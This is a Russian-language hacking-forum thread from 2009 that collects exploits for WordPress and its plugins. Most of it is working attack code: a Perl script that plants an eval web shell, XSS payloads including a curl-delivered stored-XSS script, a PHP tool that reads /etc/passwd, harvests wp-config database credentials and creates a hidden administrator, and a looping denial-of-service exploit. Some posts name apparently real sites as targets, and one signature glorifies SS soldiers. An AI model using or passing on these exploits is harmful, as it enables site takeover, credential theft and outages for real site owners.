HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 15.07.2009, 19:54
eLWAux
Постоянный
Регистрация: 15.06.2008
Сообщений: 941
С нами: 9423746

Репутация: 2399


По умолчанию

Wordpress plugin Add UROK.su Catalog < 1.03 Code Execution Exploit
надо логин:пароль админа

Код:
Wordpress plugin Add UROK.su Catalog < 1.03 Code Execution Exploit
------------
http://wordpress.org/extend/plugins/add-uroksu-catalog/
Add UROK.su Catalog
Version: 1.03
------------

\wp-content\plugins\add-uroksu-catalog\urok.su.class.php
----------------------------------------------------------------------
|56|  if (isset($_POST['UPDATE'])) {
|57|     MyUROKsu_user=$_REQUEST['login'];
|58|     $file_name=$file_name=dirname(__FILE__).'/login.txt';
|59|     $w=fopen($file_name,'w');
|60|     fwrite($w,$MyUROKsu_user);
|61|     fclose($w);
|62|     print($this->update_catalog($MyUROKsu_user));
|63|     echo '</p>';
|64|  }
----------------------------------------------------------------------

Steps to code execution:
1) /wp-admin/options-general.php?page=urok_su_wp/urok_su_wp.php
   POST: UPDATE=.& login=<?php=@eval($_GET['c']);?>
   (your code will be saved to file:
    /wp-content/plugins/add-uroksu-catalog/login.txt)
2) include this file & code execute:
   /wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c=system('id');

perl exploit:
----------------------------------------------------------------------
PHP код:
    #! /usr/bin/perl -w

    use LWP::UserAgent;
    use warnings;

    print "\n  WP ] add-uroksu-catalog < 1.03 [ exploit\n";
    print "  eLwaux(c)uasc 2009\n\n";

    if (!$ARGV[2]) {
        print "  usage:\n".
              "     expl.pl http://site.com/wp/index.php adminLogin adminPass\n".
        exit(0);
    }

    my $mHost = $ARGV[0];
    my $mAdmL = $ARGV[1];
    my $mAdmP = $ARGV[2];

    #$mAdmL =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
    #$mAdmP =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;

    my $HOST = $1 if ($mHost =~ /http:\/\/(.+?)\//);

    my $UA = LWP::UserAgent->new;
    $UA->timeout(20);
    $UA->default_header('Referer' => $mHost.'wp-login.php');
    $UA->default_header('Cookie' => 'wordpress_test_cookie=WP+Cookie+check;');
         
    # login to WP
    my $page = $UA->post($mHost.'wp-login.php',
                   {
                         log         =>  $mAdmL,
                         pwd         =>  $mAdmP,
                        # rememberme  =>  'forever',
                         submit      =>  'Войти',
                         redirect_to =>  $mHost.'wp-admin/',
                         testcookie  =>  1
                   }
               )->as_string;
    my $cookie = '';
    my @SetCookie = ($page =~ m/Set-Cookie: (.+?=.+?);/g);
    foreach my $SC (@SetCookie) {
         $cookie .= $SC.';';
    }
    if (length($cookie)<100) {
         print '  -   bad login:password!';
         exit(0);
    }
    print '  -   good login:password!'."\n";
    $UA->default_header('Cookie' => $cookie);


    print ' ..   sending exploit..'."\n";
    # send EXPLOIT
    $page = $UA->post($mHost.'wp-admin/options-general.php?page=urok_su_wp/urok_su_wp.php',
                   {
                         login       =>  '<?php @eval($_GET[\'c\']);?>',
                         
UPDATE      =>  1
                   
}
               )->
as_string;
    print 
'  +   exploit send!'."\n";

    
# try execute simple code
    
$page $UA->get($mHost.'wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c=print_r($_SERVER);')->as_string;
    if (
$page =~ /\[SERVER_SOFTWARE\] => (.+?)[\r\n]+/) {
         print 
'  +   result of test1: '.$1."\n";
         print 
'  +   result of test2: '.$1."\n" if ($page =~ /\[SCRIPT_FILENAME\] => (.+?)[\r\n]+/);
    } else {
         print 
'  -   perhaps code is not injected!'."\n";
    }

    print 
'  !   FINISH!'."\n\n";
    print 
' !!   your shell:'."\n";
    print 
'      '.$mHost."\n".
          
'      '.'wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c={eViLcOdE}'."\n";

    exit(
0);
Код:
----------------------------------------------------------------------



simple result on localhost:
----------------------------------------------------------------------
> expl.pl http://localhost/cms/wordpress/ admin "4#@!v^w!*)kW"

  WP ] add-uroksu-catalog < 1.03 [ exploit
  eLwaux(c)uasc 2009

  -   good login:password!
 ..   sending exploit..
  +   exploit send!
  +   result of test1: Apache/2.2.11 (Win32) PHP/5.2.9-2
  +   result of test2: C:/wamp/www/cms/wordpress/wp-admin/admin.php
  !   FINISH!

 !!   your shell:
      http://localhost/cms/wordpress/
      wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c={eViLcOdE}
----------------------------------------------------------------------

Последний раз редактировалось eLWAux; 15.07.2009 в 21:38..
 
Ответить с цитированием

  #2  
Старый 22.07.2009, 16:28
[underwater]
Познающий
Регистрация: 29.03.2009
Сообщений: 87
С нами: 9010027

Репутация: 308
По умолчанию

XSS [Все версии]
Сегодня было опубликована ксс, работает вплоть до текущей версии включительно.

Код:
http://www.site.com’onmousemove=’location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,118,117,108,46,107,114,47,63,112,61,53,54,57);
Для устранения в файле wp-comments-post.php ~40 строку изменяем:
Код:
$comment_author_url = str_replace(chr(39),”,$comment_author_url);
$comment_author_url = str_replace(chr(59),”,$comment_author_url);
$comment_author_url = str_replace(chr(44),”,$comment_author_url);

Последний раз редактировалось [underwater]; 22.07.2009 в 16:36..
 
Ответить с цитированием

  #3  
Старый 16.08.2009, 00:34
fairy_long_nose
Новичок
Регистрация: 30.04.2009
Сообщений: 3
С нами: 8965036

Репутация: 0
По умолчанию

Цитата:
Сообщение от [underwater]  
XSS [Все версии]
Сегодня было опубликована ксс, работает вплоть до текущей версии включительно.

Код:
http://www.site.com’onmousemove=’location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,118,117,108,46,107,114,47,63,112,61,53,54,57);
Для устранения в файле wp-comments-post.php ~40 строку изменяем:
Код:
$comment_author_url = str_replace(chr(39),”,$comment_author_url);
$comment_author_url = str_replace(chr(59),”,$comment_author_url);
$comment_author_url = str_replace(chr(44),”,$comment_author_url);
-1
Не работает
 
Ответить с цитированием

Wordpress 2.8.1 (url) Remote Cross Site Scripting Exploit
  #4  
Старый 27.07.2009, 10:32
Solide Snake
Постоянный
Регистрация: 28.04.2007
Сообщений: 547
С нами: 10019906

Репутация: 3702


По умолчанию Wordpress 2.8.1 (url) Remote Cross Site Scripting Exploit

This can be used to hack 2.8.1 through Remote XSS.

Код:
echo "wp281.quickprz // iso^kpsbr"

SITE=$1
COMMENT=$2
MESSAGE="h4x0riZed by the superfreakaz0rz"

if [ "X$SITE" = "X" ]; then
	echo "$0 <url> [postID]"
	echo "f.e. $0 www.worstpress.eu"
	exit
fi

if [ "X$POSTID" = "X" ]; then
	POSTID=1
fi


echo "[+] building payload"

WHERE="title" # can also be 'content'
PATH="$SITE/wp-comments-post.php"

WHERE=`echo -n "$WHERE" | /usr/bin/od -t d1 -A n | /bin/sed 's/\\s\\s*/,/g' | /bin/sed 's/^,//'`
EVILURL="http://w.ch'onmouseover='document.getElementById(String.fromCharCode($WHERE)).value=this.innerHTML;document.getElementById(String.fromCharCode(112,117,98,108,105,115,104)).click();"
echo "[-] payload is $EVILURL for '$MESSAGE'"

EVILURL=`echo -n "$EVILURL" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
MESSAGE=`echo -n "$MESSAGE" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
RNDDATA=`/bin/date +%S%s`;

echo "[!] delivering data"
/usr/bin/curl -A "Quickprz" -d "author=$MESSAGE&email=kelly@hackforums.net&url=$EVILURL&comment=hi+there%5F+this+is+just+some+very+harmless+spam+$RNDDATA&submit=Submit+Comment&comment_post_ID=$POSTID" $PATH

echo "[X] all done. now wait for admin to mouse-over that name."

# milw0rm.com [2009-07-24]
 
Ответить с цитированием

  #5  
Старый 11.08.2009, 17:51
budden
Участник форума
Регистрация: 26.07.2008
Сообщений: 267
С нами: 9364549

Репутация: 184
По умолчанию

WordPress <= 2.8.3 Remote admin reset password

По сути ничего не дает несмотря на громкое название.
http://www.milw0rm.com/exploits/9410
 
Ответить с цитированием

  #6  
Старый 24.10.2009, 00:43
[underwater]
Познающий
Регистрация: 29.03.2009
Сообщений: 87
С нами: 9010027

Репутация: 308
По умолчанию

WP-Config Discover
Код:
   1.
      < ?php
   2.
      $paths = array(
   3.
          "blog",
   4.
          "site",
   5.
          "html",
   6.
          "www",
   7.
          "html/blog",
   8.
          "www/blog",
   9.
          "site/blog",
  10.
          "wordpress",
  11.
          "wp",
  12.
          "www/wp",
  13.
          "www/wordpress",
  14.
          "html/wordpress",
  15.
          "html/wp",
  16.
          "public_html",
  17.
          "public_html/blog",
  18.
          "public_html/wp",
  19.
          "public_html/wordpress",
  20.
      );
  21.
      $files = array(
  22.
          "wp-config.php",
  23.
      );
  24.
      print "Checking for ….\n";
  25.
      if(!is_readable("/etc/passwd"))    die("err0r: can’t read /etc/passwd (safe mode?)");
  26.
      $_f = @file("/etc/passwd");
  27.
      foreach($_f as $usr){
  28.
          $usr = explode(":", $usr);
  29.
          $uid = $usr[2];
  30.
          $home = $usr[5];
  31.
          $usr = $usr[0];
  32.
          if($uid >= 1000){
  33.
              print $usr." (uid:".$uid."): ".$home."\n";
  34.
              foreach($paths as $path){
  35.
                  if(file_exists($home."/".$path)) {
  36.
                  print "\tSearching in ".$home."/".$path."\n";
  37.
                      foreach($files as $file){
  38.
                          if(file_exists($home."/".$path."/".$file)){
  39.
                               print "\t\tFound: ".$file."\n";
  40.
                              $__f = @file($home."/".$path."/".$file);
  41.
                              foreach($__f as $line){
  42.
                                  if(stristr($line, "DB_USER")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output); print "\t\t\t".str_replace("DB_USER’, ","usr=>", $output[1][0])."\n"; }
  43.
                                  if(stristr($line, "DB_PASSWORD")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output2); print "\t\t\t".str_replace("DB_PASSWORD’, ", "pwd=>", $output2[1][0])."\n"; }
  44.
                                  if(stristr($line, "DB_NAME")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output3); print "\t\t\t".str_replace("DB_NAME’, ", "db=>", $output3[1][0])."\n"; }
  45.
                                  if(stristr($line, "DB_HOST")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output4); print "\t\t\t".str_replace("DB_HOST’, ", "host=>", $output4[1][0])."\n"; }
  46.
                                  if(stristr($line, "\$table_prefix")) { preg_match_all(‘/\$table_prefix(.*);/’, $line, $output5); print "\t\t\tprefix".$output5[1][0]."\n"; }
  47.
                                  flush();
  48.
                              }
  49.
                              print "\t\t\tURL: ".getURL($output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  50.
                              if($_GET[‘attack’] == "create_user") print "\t\t\tUser/pass created: ".UserAdmin("create", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  51.
                              if($_GET[‘attack’] == "delete_user") print "\t\t\tfakeadmin deleted: ".UserAdmin("delete", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  52.
                              flush();
  53.
                          }
  54.
                      }
  55.
                  }
  56.
                  flush();
  57.
              }
  58.
              flush();
  59.
          }
  60.
      }
  61.
      function getURL($user, $pass, $db, $host, $prefix){
  62.
          preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
  63.
          preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
  64.
          preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
  65.
          preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
  66.
          preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
  67.
          $sql = @mysql_connect($host, $user, $pass);
  68.
          @mysql_select_db($db);
  69.
          $_q = @mysql_query("SELECT option_value FROM ".$prefix."options WHERE option_name=’siteurl’", $sql);
  70.
          @mysql_close($sql);
  71.
          return @mysql_result($_q, 0, ‘option_value’);
  72.
      }
  73.
       
  74.
      function UserAdmin($action, $user, $pass, $db, $host, $prefix){
  75.
              preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
  76.
              preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
  77.
              preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
  78.
              preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
  79.
              preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
  80.
              $sql = @mysql_connect($host, $user, $pass);
  81.
              @mysql_select_db($db);
  82.
          if($action == "create"){
  83.
              $wp_uid = rand(9990,99999);
  84.
              @mysql_query("INSERT INTO ".$prefix."users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(".$wp_uid.", ‘fakeadmin’, md5(’dummie’), ‘wordpress’, ‘dummie@wordpress.cl’, ‘http://’, NOW(), ”, 0, ‘wordpressdummieadmin’)", $sql);
  85.
              @mysql_query("INSERT INTO ".$prefix."usermeta (user_id, meta_key, meta_value) VALUES (".$wp_uid.", ‘wp_capabilities’, ‘a:1:{s:13:\"administrator\";b:1;}’ )", $sql);
  86.
          }
  87.
          if($action == "delete"){
  88.
              mysql_query("DELETE FROM ".$prefix."usermeta WHERE user_id=(SELECT id FROM ".$prefix."users WHERE user_login=’fakeadmin’)", $sql);
  89.
              mysql_query("DELETE FROM ".$prefix."users WHERE user_login=’fakeadmin’", $sql);
  90.
          }
  91.
          @mysql_close($sql);
  92.
          return "fakeadmin/dummie";
  93.
      }
  94.
      ?>
 
Ответить с цитированием

  #7  
Старый 24.10.2009, 01:15
[underwater]
Познающий
Регистрация: 29.03.2009
Сообщений: 87
С нами: 9010027

Репутация: 308
По умолчанию

Серьезная быра была обнаружена в файле WP-trackbacks.php. Уязвимость состоит в том, что любой посетитель буквально 20 запросами может положить сайт.

Открываем файл WP-trackbacks.php:
Код:
if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks
$title     = mb_convert_encoding($title, get_option(’blog_charset’), $charset);
$excerpt   = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);
}
$charset передается через $_POST['charset']. И вя проблема состоит в кодировке mb_convert_encoding

Код:
$text = mb_convert_encoding($text,’UTF-8′,’UTF-7,ISO-8859-1′);
Эта функция преобразует $text в UTF-8. Но если мы сделаем так:
Код:
$text = mb_convert_encoding($text,’UTF-8′,’ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1′);
mb_convert_encoding попытает определить кодировку $text, и будет проверять является ли она ISO-8859-1, и так снова и снова. Эскплоит уже придумали до меня:
Код:
    <?php
    //wordpress Resource exhaustion Exploit
    // by rooibo
    //security@wordpress.org contacted and get a response,
    //but no solution available.
    if(count($argv) < 2) {
    echo “You need to specify a url to attack\n”;
    exit;
    }

    $url = $argv[1];

    $data = parse_url($url);
    if(count($data) < 2) {
    echo “The url should have http:// in front of it, and should be complete.\n”;
    exit;
    }

    if(count($data) == 2) {
    $path = ”;
    } else {
    $path = $data['path'];
    }
    $path = trim($path,’/');
    $path .= ‘/wp-trackback.php’;
    if($path{0} != ‘/’) {
    $path = ‘/’.$path;
    }

    $b = “”;
    $b = str_pad($b,140000,’ABCEDFG’);
    $b = utf8_encode($b);
    $charset = “”;
    $charset = str_pad($charset,140000,”UTF-8,”);

    $str = ‘charset=’.urlencode($charset);
    $str .= ‘&url=www.example.com’;
    $str .= ‘&title=’.$b;
    $str .= ‘&blog_name=lol’;
    $str .= ‘&excerpt=lol’;

    $count = 0;
    while(1) {
    $fp = @fsockopen($data['host'],80);
    if(!$fp) {
    if($count > 0) {
    echo “down!!!!\n”;
    exit;
    }
    echo “unable to connect to: “.$data['host'].”\n”;
    exit;
    }

    fputs($fp, “POST $path HTTP/1.1\r\n”);
    fputs($fp, “Host: “.$data['host'].”\r\n”);
    fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
    fputs($fp, “Content-length: “.strlen($str).”\r\n”);
    fputs($fp, “Connection: close\r\n\r\n”);
    fputs($fp, $str.”\r\n\r\n”);

    echo “hit!\n”;
    $count++;
    }

    ?>
Запускаем так: php exploit.php http://site.com

Для патчинга открываем файл WP-trackbacks.php, ищем строку:
Код:
$charset = $_POST['charset'];
Заменяем на:
Код:
$charset = str_replace(”,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }
 
Ответить с цитированием

WordPress Google Analytics Plugin 3.x
  #8  
Старый 08.12.2009, 23:17
Techn0id
Новичок
Регистрация: 05.12.2009
Сообщений: 24
С нами: 8648577

Репутация: 1
По умолчанию WordPress Google Analytics Plugin 3.x

WordPress Google Analytics Plugin 3.x
Код:
http://localhost/wp/?s=</script><script>alert(0)</script>
http://localhost/wp/?s=");alert(0);document.write("
 
Ответить с цитированием

  #9  
Старый 21.12.2009, 11:27
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами: 9030566

Репутация: 2017


По умолчанию

Раскрытие пути плагина cforms да по сути что не зайди там на файл, то раскрытие

файл: cforms-captcha.php
PHP код:
$im_bg_url'captchabg/' . ( prep($_REQUEST['b'],'1.gif') );
/////ну и косячная функция getimagesize
$image_data=getimagesize($im_bg_url); 
пример : http://www.sakeservices.com/wp-content/plugins/cforms/cforms-captcha.php?b=1'
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
 
Ответить с цитированием

  #10  
Старый 21.12.2009, 13:40
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами: 9030566

Репутация: 2017


По умолчанию

плагин xcloner

phpinfo()

файл /restore/XCloner.php

PHP код:
switch ($_REQUEST[task]) {



  case 
'step2':

     
step2();

     break;

  case 
'step1':

     
step1();

     break;

  case 
'getinfo':

     
getPHPINFO();

     break;

  case 
'info':

     echo 
phpinfo();

     break;

  default :

     
start();

     break;

  } 
__http://www.hellboysword.com/wp-content/plugins/xcloner/restore/XCloner.php?task=info
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.

Последний раз редактировалось HAXTA4OK; 21.12.2009 в 14:02..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов it's my Веб-уязвимости 361 24.10.2019 10:25
[ Обзор уязвимостей PHP-Nuke ] [53x]Shadow Веб-уязвимости 43 04.02.2012 20:33
[ Обзор уязвимостей SLAED CMS ] _kREveDKo_ Веб-уязвимости 20 01.11.2009 14:28
ОБЗОР УЯЗВИМОСТЕЙ БЕСПЛАТНЫХ ПОЧТОВЫХ СЕРВИСОВ nike57 Уязвимости Mail-сервис 4 05.05.2006 22:03
Статья обзор уязвимостей бесплатных почтовых сервисов markel Уязвимости Mail-сервис 3 12.09.2005 10:07



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.